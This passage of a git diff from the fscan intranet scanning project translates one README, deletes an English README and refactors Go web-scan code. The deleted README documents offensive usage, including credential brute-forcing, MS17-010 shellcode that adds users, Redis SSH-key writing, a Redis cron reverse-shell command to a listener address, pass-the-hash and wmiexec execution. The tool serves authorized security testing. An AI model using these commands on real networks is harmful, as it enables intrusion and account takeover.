- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
||||||
|
|
||||||
@ -200,10 +214,10 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G
|
|||||||
# 7. Star Chart
|
# 7. Star Chart
|
||||||
[](https://starchart.cc/shadow1ng/fscan)
|
[](https://starchart.cc/shadow1ng/fscan)
|
||||||
|
|
||||||
# 8. 捐赠
|
# 8. Donation
|
||||||
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
|
If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png)
|
||||||
|
|
||||||
# 9. 参考链接
|
# 9. Reference links
|
||||||
https://github.com/Adminisme/ServerScan
|
https://github.com/Adminisme/ServerScan
|
||||||
https://github.com/netxfly/x-crack
|
https://github.com/netxfly/x-crack
|
||||||
https://github.com/hack2fun/Gscan
|
https://github.com/hack2fun/Gscan
|
||||||
@ -211,35 +225,35 @@ https://github.com/k8gege/LadonGo
|
|||||||
https://github.com/jjf012/gopoc
|
https://github.com/jjf012/gopoc
|
||||||
|
|
||||||
|
|
||||||
# 10. 最近更新
|
# 10. Dynamics
|
||||||
[+] 2022/11/19 加入hash碰撞、wmiexec无回显命令执行。
|
[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function
|
||||||
[+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式。
|
[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
|
||||||
[+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。
|
[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
|
||||||
[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。
|
[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
|
||||||
新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。
|
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
|
||||||
[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程。
|
[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
|
||||||
[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito
|
[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
|
||||||
[+] 2022/1/11 新增oracle密码爆破。
|
[+] 2022/1/11 Add oracle password explosion.
|
||||||
[+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量。
|
[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
|
||||||
[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)。
|
[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
|
||||||
[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞。
|
[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
|
||||||
[+] 2021/6/18 改善一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍。
|
[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
|
||||||
[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接。
|
[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
|
||||||
[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码。
|
[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
|
||||||
[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等。
|
[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
|
||||||
[+] 2021/4/22 修改webtitle模块,加入gbk解码。
|
[+] 2021/4/22 Modify webtitle module and add gbk decoding.
|
||||||
[+] 2021/4/21 加入netbios探测、域控识别。
|
[+] 2021/4/21 Add netbios detection and domain control identification functions.
|
||||||
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描。
|
[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
|
||||||
[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml。
|
[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
|
||||||
[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。
|
[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
|
||||||
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
|
[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
|
||||||
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度。
|
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
|
||||||
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试。
|
[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
|
||||||
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 。
|
[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
|
||||||
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
|
[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
|
||||||
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
|
[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
|
||||||
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
|
[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
|
||||||
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段 。
|
[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
|
||||||
[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理。
|
[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
|
||||||
|
|
||||||
[url-docen]: README_EN.md
|
[url-doczh]: README.md
|
260
README_EN.md
260
README_EN.md
@ -1,260 +0,0 @@
|
|||||||
# fscan
|
|
||||||
[中文][url-doczh]
|
|
||||||
|
|
||||||
# 1. Introduction
|
|
||||||
An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning.
|
|
||||||
It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions.
|
|
||||||
|
|
||||||
# 2. Functions
|
|
||||||
1.Information collection:
|
|
||||||
* Survival detection(icmp)
|
|
||||||
* Port scanning
|
|
||||||
|
|
||||||
2.Blasting:
|
|
||||||
* Various service blasting(ssh、smb、rdp, etc.)
|
|
||||||
* Database password blasting(mysql、mssql、redis、psql、oracle, etc.)
|
|
||||||
|
|
||||||
3.System information, vulnerability scanning:
|
|
||||||
* Netbios detection, domain control identification
|
|
||||||
* Collect NIC information
|
|
||||||
* High Risk Vulnerability Scanning(ms17010, etc.)
|
|
||||||
|
|
||||||
4.Web detection:
|
|
||||||
* Webtitle detection
|
|
||||||
* Web fingerprinting (cms, oa framework, etc.)
|
|
||||||
* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc)
|
|
||||||
|
|
||||||
5.Exploit:
|
|
||||||
* Write redis public key and scheduled tasks
|
|
||||||
* Excute ssh command
|
|
||||||
* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc.
|
|
||||||
|
|
||||||
6.Others:
|
|
||||||
* Save ouput result
|
|
||||||
|
|
||||||
# 3. Instructions
|
|
||||||
Getting Started
|
|
||||||
```
|
|
||||||
fscan.exe -h 192.168.1.1/24
|
|
||||||
fscan.exe -h 192.168.1.1/16
|
|
||||||
```
|
|
||||||
|
|
||||||
Advanced
|
|
||||||
```
|
|
||||||
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast
|
|
||||||
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default)
|
|
||||||
fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information )
|
|
||||||
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module)
|
|
||||||
fscan.exe -hf ip.txt (Import target from file)
|
|
||||||
fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution)
|
|
||||||
```
|
|
||||||
Compile command
|
|
||||||
```
|
|
||||||
go build -ldflags="-s -w " -trimpath main.go
|
|
||||||
upx -9 fscan.exe (Optional, compressed)
|
|
||||||
```
|
|
||||||
Installation for arch users
|
|
||||||
`yay -S fscan-git or paru -S fscan-git`
|
|
||||||
|
|
||||||
Full parameters
|
|
||||||
```
|
|
||||||
Usage of ./fscan:
|
|
||||||
-br int
|
|
||||||
Brute threads (default 1)
|
|
||||||
-c string
|
|
||||||
exec command (ssh|wmiexec)
|
|
||||||
-cookie string
|
|
||||||
set poc cookie,-cookie rememberMe=login
|
|
||||||
-debug int
|
|
||||||
every time to LogErr (default 60)
|
|
||||||
-dns
|
|
||||||
using dnslog poc
|
|
||||||
-domain string
|
|
||||||
smb domain
|
|
||||||
-full
|
|
||||||
poc full scan,as: shiro 100 key
|
|
||||||
-h string
|
|
||||||
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
|
||||||
-hash string
|
|
||||||
hash
|
|
||||||
-hf string
|
|
||||||
host file, -hf ip.txt
|
|
||||||
-hn string
|
|
||||||
the hosts no scan,as: -hn 192.168.1.1/24
|
|
||||||
-m string
|
|
||||||
Select scan type ,as: -m ssh (default "all")
|
|
||||||
-no
|
|
||||||
not to save output log
|
|
||||||
-nobr
|
|
||||||
not to Brute password
|
|
||||||
-nopoc
|
|
||||||
not to scan web vul
|
|
||||||
-np
|
|
||||||
not to ping
|
|
||||||
-num int
|
|
||||||
poc rate (default 20)
|
|
||||||
-o string
|
|
||||||
Outputfile (default "result.txt")
|
|
||||||
-p string
|
|
||||||
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
|
|
||||||
-pa string
|
|
||||||
add port base DefaultPorts,-pa 3389
|
|
||||||
-path string
|
|
||||||
fcgi、smb romote file path
|
|
||||||
-ping
|
|
||||||
using ping replace icmp
|
|
||||||
-pn string
|
|
||||||
the ports no scan,as: -pn 445
|
|
||||||
-pocname string
|
|
||||||
use the pocs these contain pocname, -pocname weblogic
|
|
||||||
-pocpath string
|
|
||||||
poc file path
|
|
||||||
-portf string
|
|
||||||
Port File
|
|
||||||
-proxy string
|
|
||||||
set poc proxy, -proxy http://127.0.0.1:8080
|
|
||||||
-pwd string
|
|
||||||
password
|
|
||||||
-pwda string
|
|
||||||
add a password base DefaultPasses,-pwda password
|
|
||||||
-pwdf string
|
|
||||||
password file
|
|
||||||
-rf string
|
|
||||||
redis file to write sshkey file (as: -rf id_rsa.pub)
|
|
||||||
-rs string
|
|
||||||
redis shell to write cron file (as: -rs 192.168.1.1:6666)
|
|
||||||
-sc string
|
|
||||||
ms17 shellcode,as -sc add
|
|
||||||
-silent
|
|
||||||
silent scan
|
|
||||||
-socks5 string
|
|
||||||
set socks5 proxy, will be used in tcp connection, timeout setting will not work
|
|
||||||
-sshkey string
|
|
||||||
sshkey file (id_rsa)
|
|
||||||
-t int
|
|
||||||
Thread nums (default 600)
|
|
||||||
-time int
|
|
||||||
Set timeout (default 3)
|
|
||||||
-top int
|
|
||||||
show live len top (default 10)
|
|
||||||
-u string
|
|
||||||
url
|
|
||||||
-uf string
|
|
||||||
urlfile
|
|
||||||
-user string
|
|
||||||
username
|
|
||||||
-usera string
|
|
||||||
add a user base DefaultUsers,-usera user
|
|
||||||
-userf string
|
|
||||||
username file
|
|
||||||
-wmi
|
|
||||||
start wmi
|
|
||||||
-wt int
|
|
||||||
Set web timeout (default 5)
|
|
||||||
```
|
|
||||||
|
|
||||||
# 4. Demo
|
|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)`
|
|
||||||

|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)`
|
|
||||||

|
|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)`
|
|
||||||

|
|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)`
|
|
||||||

|
|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)`
|
|
||||||

|
|
||||||
|
|
||||||
`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)`
|
|
||||||

|
|
||||||
|
|
||||||
`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)`
|
|
||||||

|
|
||||||
|
|
||||||
# 5. Disclaimer
|
|
||||||
|
|
||||||
This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself.
|
|
||||||
|
|
||||||
In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target.
|
|
||||||
|
|
||||||
When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**.
|
|
||||||
|
|
||||||
If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.
|
|
||||||
|
|
||||||
Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. .
|
|
||||||
Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement.
|
|
||||||
|
|
||||||
|
|
||||||
# 6. 404StarLink 2.0 - Galaxy
|
|
||||||

|
|
||||||
|
|
||||||
Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy),If you have any questions about fscan or want to find a partner to communicate with, you can adding groups.
|
|
||||||
|
|
||||||
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
|
||||||
|
|
||||||
|
|
||||||
# 7. Star Chart
|
|
||||||
[](https://starchart.cc/shadow1ng/fscan)
|
|
||||||
|
|
||||||
# 8. Donation
|
|
||||||
If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png)
|
|
||||||
|
|
||||||
# 9. Reference links
|
|
||||||
https://github.com/Adminisme/ServerScan
|
|
||||||
https://github.com/netxfly/x-crack
|
|
||||||
https://github.com/hack2fun/Gscan
|
|
||||||
https://github.com/k8gege/LadonGo
|
|
||||||
https://github.com/jjf012/gopoc
|
|
||||||
|
|
||||||
|
|
||||||
# 10. Dynamics
|
|
||||||
[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function
|
|
||||||
[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
|
|
||||||
[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
|
|
||||||
[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
|
|
||||||
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
|
|
||||||
[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
|
|
||||||
[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
|
|
||||||
[+] 2022/1/11 Add oracle password explosion.
|
|
||||||
[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
|
|
||||||
[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
|
|
||||||
[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
|
|
||||||
[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
|
|
||||||
[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
|
|
||||||
[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
|
|
||||||
[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
|
|
||||||
[+] 2021/4/22 Modify webtitle module and add gbk decoding.
|
|
||||||
[+] 2021/4/21 Add netbios detection and domain control identification functions.
|
|
||||||
[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
|
|
||||||
[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
|
|
||||||
[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
|
|
||||||
[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
|
|
||||||
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
|
|
||||||
[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
|
|
||||||
[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
|
|
||||||
[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
|
|
||||||
[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
|
|
||||||
[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
|
|
||||||
[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
|
|
||||||
[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
|
|
||||||
|
|
||||||
[url-doczh]: README.md
|
|
@ -3,13 +3,14 @@ package WebScan
|
|||||||
import (
|
import (
|
||||||
"embed"
|
"embed"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
)
|
)
|
||||||
|
|
||||||
//go:embed pocs
|
//go:embed pocs
|
||||||
@ -17,23 +18,23 @@ var Pocs embed.FS
|
|||||||
var once sync.Once
|
var once sync.Once
|
||||||
var AllPocs []*lib.Poc
|
var AllPocs []*lib.Poc
|
||||||
|
|
||||||
func WebScan(info *common.HostInfo) {
|
func WebScan(info common.HostInfo, flags common.Flags) {
|
||||||
once.Do(initpoc)
|
once.Do(func() { initpoc(flags.PocPath) })
|
||||||
var pocinfo = common.Pocinfo
|
var pocinfo = flags.Pocinfo
|
||||||
buf := strings.Split(info.Url, "/")
|
buf := strings.Split(info.Url, "/")
|
||||||
pocinfo.Target = strings.Join(buf[:3], "/")
|
pocinfo.Target = strings.Join(buf[:3], "/")
|
||||||
|
|
||||||
if pocinfo.PocName != "" {
|
if pocinfo.PocName != "" {
|
||||||
Execute(pocinfo)
|
Execute(pocinfo, flags)
|
||||||
} else {
|
} else {
|
||||||
for _, infostr := range info.Infostr {
|
for _, infostr := range info.Infostr {
|
||||||
pocinfo.PocName = lib.CheckInfoPoc(infostr)
|
pocinfo.PocName = lib.CheckInfoPoc(infostr)
|
||||||
Execute(pocinfo)
|
Execute(pocinfo, flags)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func Execute(PocInfo common.PocInfo) {
|
func Execute(PocInfo common.PocInfo, flags common.Flags) {
|
||||||
req, err := http.NewRequest("GET", PocInfo.Target, nil)
|
req, err := http.NewRequest("GET", PocInfo.Target, nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err)
|
errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err)
|
||||||
@ -48,11 +49,11 @@ func Execute(PocInfo common.PocInfo) {
|
|||||||
}
|
}
|
||||||
req.Header.Set("Connection", "close")
|
req.Header.Set("Connection", "close")
|
||||||
pocs := filterPoc(PocInfo.PocName)
|
pocs := filterPoc(PocInfo.PocName)
|
||||||
lib.CheckMultiPoc(req, pocs, common.PocNum)
|
lib.CheckMultiPoc(req, pocs, flags)
|
||||||
}
|
}
|
||||||
|
|
||||||
func initpoc() {
|
func initpoc(pocPath string) {
|
||||||
if common.PocPath == "" {
|
if pocPath == "" {
|
||||||
entries, err := Pocs.ReadDir("pocs")
|
entries, err := Pocs.ReadDir("pocs")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Printf("[-] init poc error: %v", err)
|
fmt.Printf("[-] init poc error: %v", err)
|
||||||
@ -67,7 +68,7 @@ func initpoc() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
err := filepath.Walk(common.PocPath,
|
err := filepath.Walk(pocPath,
|
||||||
func(path string, info os.FileInfo, err error) error {
|
func(path string, info os.FileInfo, err error) error {
|
||||||
if err != nil || info == nil {
|
if err != nil || info == nil {
|
||||||
return err
|
return err
|
||||||
|
@ -3,9 +3,6 @@ package lib
|
|||||||
import (
|
import (
|
||||||
"crypto/md5"
|
"crypto/md5"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/google/cel-go/cel"
|
|
||||||
"github.com/shadow1ng/fscan/WebScan/info"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"math/rand"
|
"math/rand"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
@ -13,6 +10,10 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/google/cel-go/cel"
|
||||||
|
"github.com/shadow1ng/fscan/WebScan/info"
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@ -25,13 +26,13 @@ type Task struct {
|
|||||||
Poc *Poc
|
Poc *Poc
|
||||||
}
|
}
|
||||||
|
|
||||||
func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
|
func CheckMultiPoc(req *http.Request, pocs []*Poc, flags common.Flags) {
|
||||||
tasks := make(chan Task)
|
tasks := make(chan Task)
|
||||||
var wg sync.WaitGroup
|
var wg sync.WaitGroup
|
||||||
for i := 0; i < workers; i++ {
|
for i := 0; i < flags.PocNum; i++ {
|
||||||
go func() {
|
go func() {
|
||||||
for task := range tasks {
|
for task := range tasks {
|
||||||
isVul, _, name := executePoc(task.Req, task.Poc)
|
isVul, _, name := executePoc(task.Req, task.Poc, flags)
|
||||||
if isVul {
|
if isVul {
|
||||||
result := fmt.Sprintf("[+] %s %s %s", task.Req.URL, task.Poc.Name, name)
|
result := fmt.Sprintf("[+] %s %s %s", task.Req.URL, task.Poc.Name, name)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
@ -52,7 +53,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
|
|||||||
close(tasks)
|
close(tasks)
|
||||||
}
|
}
|
||||||
|
|
||||||
func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
func executePoc(oReq *http.Request, p *Poc, flags common.Flags) (bool, error, string) {
|
||||||
c := NewEnvOption()
|
c := NewEnvOption()
|
||||||
c.UpdateCompileOptions(p.Set)
|
c.UpdateCompileOptions(p.Set)
|
||||||
if len(p.Sets) > 0 {
|
if len(p.Sets) > 0 {
|
||||||
@ -82,7 +83,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
|||||||
for _, item := range p.Set {
|
for _, item := range p.Set {
|
||||||
k, expression := item.Key, item.Value
|
k, expression := item.Key, item.Value
|
||||||
